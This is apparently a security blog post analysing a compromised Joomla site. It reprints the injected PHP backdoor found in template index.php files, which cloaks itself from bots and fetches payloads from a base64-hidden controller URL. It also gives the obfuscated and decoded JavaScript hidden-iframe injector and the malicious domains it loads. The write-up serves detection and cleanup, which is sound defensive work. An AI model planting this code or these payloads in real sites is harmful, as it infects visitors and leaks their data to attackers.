Symptom of infection: Suddenly you realized that every person visiting your site is being infected by a Malware, the AV is detecting it as a Trojan trying to access a malicious domain as shown below:
Then after some analysis, you realize that the Malware is being injected before the html body in the response:
The Challenge:
Now you need to find the malicious program running at your Web Server that is injecting above mentioned payload. I will save you some time, Joomla is a modular software which allows (among other things) the use of customized templates, those templates are the skin of your web site which makes it look awesome.
Joomla can only have one template activated at a time and all those files are located under /templates/ dir.
Finally, every template has its own index.php file which will be loaded in every singe HTTP request and therefore, it is a good place to inject the Malware.
After some investigation, I realized the Malware was injected in every single index.php of each template, this way, if you change the default template, still will be serving malicious code to the end users. As an example, below are three templates infected:
/templates/beez/index.php
/templates/modernview/index.php
/templates/eyedesign/index.php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
Explanation:
At the beginning checks whether the request is coming from well known crawlers like google, opera, yahoo, msn, bing, safari, baidu, chrome or bot in which case will not process the request OR if it is coming from a normal user in which case process the request to get the malicious payload.
NOTE: If you want to debug this code, print out the variable $stCurlLink and variable $Result mentioned in red color above. Once the request is prepared, it is lunch via @curl_exec function.
After debugging, I got the value received in var $stCurlLink:
http://botstatisticupdate.com/stat/stat.php?ip=2XX.5X.4.X&useragent=mozilla/5.0+(windows+nt+5.0;+rv:5.0.1)+gecko/20100101+firefox/5.0.1&domainname=joomla.hacked-site.net&fullpath=/path/index.php?option%3Dcom_content&Itemid=1&lang%3Den&view=fro
ntpage&check=
This is the request to be sent to the Controller passing the Victim's IP and Host-Hacked's IP. Those parameters are important because:
1. The Controller only infects one time based on IP Address.
2. The Controller only responses to IP's from hacked sites, which means, if you try to call the Controller directly it will not serve any information.
Once the Request is sent, the Controller replies with the payload mentioned below:
h=-parseInt('012')/5;
if(window.document)
try{ Boolean(true).prototype.a}
catch(qqq){
st=String;
zz='al';
zz='zv'.substr(1)+zz;
ss=[];
if(1){
f='fromCh';f+='arC';
f+='qgode'["substr"](2);
}
w=this;
e=w[f.substr(11)+zz];
e = function eval(){}eval("e="+e);t='y';}
n="3.5!3.5!51.5!50!15!19!49!54.5!48.5!57.5!53.5!49.5!54!57!22!50.5!49.5!57!33.5!53!49.5!53.5!49.5!54!57!56.5!32!59.5!41!47.5!50.5!38!47.5!53.5!49.5!19!18.5!48!54.5!49!59.5!18.5!19.5!44.5!23!45.5!19.5!60.5!5.5!3.5!3.5!3.5!51.5!50!56!47.5!53.5!49.5!56!19!19.5!28.5!5.5!3.5!3.5!61.5!15!49.5!53!56.5!49.5!15!60.5!5.5!3.5!3.5!3.5!49!54.5!48.5!57.5!53.5!49.5!54!57!22!58.5!56!51.5!57!49.5!19!16!29!51.5!50!56!47.5!53.5!49.5!15!56.5!56!48.5!29.5!18.5!51!57!57!55!28!22.5!22.5!56!53!59.5!50.5!53!22!58.5!51!59.5!54!54.5!57!47.5!49!22!48.5!54.5!53.5!22.5!51.5!53.5!47.5!50.5!49.5!56.5!22!55!51!55!30.5!57!29.5!25!25.5!26!23.5!24!26.5!26.5!26.5!18.5!15!58.5!51.5!49!57!51!29.5!18.5!23.5!23!18.5!15!51!49.5!51.5!50.5!51!57!29.5!18.5!23.5!23!18.5!15!56.5!57!59.5!53!49.5!29.5!18.5!58!51.5!56.5!51.5!48!51.5!53!51.5!57!59.5!28!51!51.5!49!49!49.5!54!28.5!55!54.5!56.5!51.5!57!51.5!54.5!54!28!47.5!48!56.5!54.5!53!57.5!57!49.5!28.5!53!49.5!50!57!28!23!28.5!57!54.5!55!28!23!28.5!18.5!30!29!22.5!51.5!50!56!47.5!53.5!49.5!30!16!19.5!28.5!5.5!3.5!3.5!61.5!5.5!3.5!3.5!50!57.5!54!48.5!57!51.5!54.5!54!15!51.5!50!56!47.5!53.5!49.5!56!19!19.5!60.5!5.5!3.5!3.5!3.5!58!47.5!56!15!50!15!29.5!15!49!54.5!48.5!57.5!53.5!49.5!54!57!22!48.5!56!49.5!47.5!57!49.5!33.5!53!49.5!53.5!49.5!54!57!19!18.5!51.5!50!56!47.5!53.5!49.5!18.5!19.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!56.5!56!48.5!18.5!21!18.5!51!57!57!55!28!22.5!22.5!56!53!59.5!50.5!53!22!58.5!51!59.5!54!54.5!57!47.5!49!22!48.5!54.5!53.5!22.5!51.5!53.5!47.5!50.5!49.5!56.5!22!55!51!55!30.5!57!29.5!25!25.5!26!23.5!24!26.5!26.5!26.5!18.5!19.5!28.5!50!22!56.5!57!59.5!53!49.5!22!58!51.5!56.5!51.5!48!51.5!53!51.5!57!59.5!29.5!18.5!51!51.5!49!49!49.5!54!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!55!54.5!56.5!51.5!57!51.5!54.5!54!29.5!18.5!47.5!48!56.5!54.5!53!57.5!57!49.5!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!53!49.5!50!57!29.5!18.5!23!18.5!28.5!50!22!56.5!57!59.5!53!49.5!22!57!54.5!55!29.5!18.5!23!18.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!58.5!51
.5!49!57!51!18.5!21!18.5!23.5!23!18.5!19.5!28.5!50!22!56.5!49.5!57!31.5!57!57!56!51.5!48!57.5!57!49.5!19!18.5!51!49.5!51.5!50.5!51!57!18.5!21!18.5!23.5!23!18.5!19.5!28.5!5.5!3.5!3.5!3.5!49!54.5!48.5!57.5!53.5!49.5!54!57!22!50.5!49.5!57!33.5!53!49.5!53.5!49.5!54!57!56.5!32!59.5!41!47.5!50.5!38!47.5!53.5!49.5!19!18.5!48!54.5!49!59.5!18.5!19.5!44.5!23!45.5!22!47.5!55!55!49.5!54!49!32.5!51!51.5!53!49!19!50!19.5!28.5!5.5!3.5!3.5!61.5"["split"]("a!".substr(1));for(i=6-2-1-2-;i!=603;i++){
j=i;
if(st)ss=ss+st.fromCharCode(-h*(1+1*n[j]));
}
if(zz)q=ss;
if(t)e(""+q);
That response is polymorphic, which means, it is different in every new request, below the decoded version:
if (document.getElementsByTagName('body')[0]){
iframer();
else { function iframer(){
var f= document.createElement('i_frame');
f.setAttribute('src',rlygl.whynotad.com/images.php?t=45612777');f.style.visibility='hidden';f.style.position='absolute'; f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); }
The payload is an iframe calling in a hidden way different URLs, below some examples:
rlygl[.]whynotad.com/images.php?t=45612777
kpxpg[.]biz.tm/images.php?t=45612777
ufwut[.]uk.to/images.php?t=45612777
NOTE: If you want to deobfuscate the JavaScript code, always use alert command, in this case, replace e(""+q) at the end with alert(""+q) and you will get the content in clear text.
Once the victim(browser) connects to those malicious URLs (without his consent), the attacker will try to compromised the victim machine by using different drive-by-download/cache techniques.
Recommendations:
1. Remove the malicious code inserted into index.php of every template and run a diff between current and default installation to make sure no more files are infected.
2. Perform Integrity checking to detect any change made to you web files. Eyesite can be a good solution and is free, it will alert you if any files, anywhere in the directory structure are added, changed or deleted.
Hope you find this useful and spread the word so that all start monitoring activity coming/going from/to botstatisticupdate[.]com/stat/stat.php URL.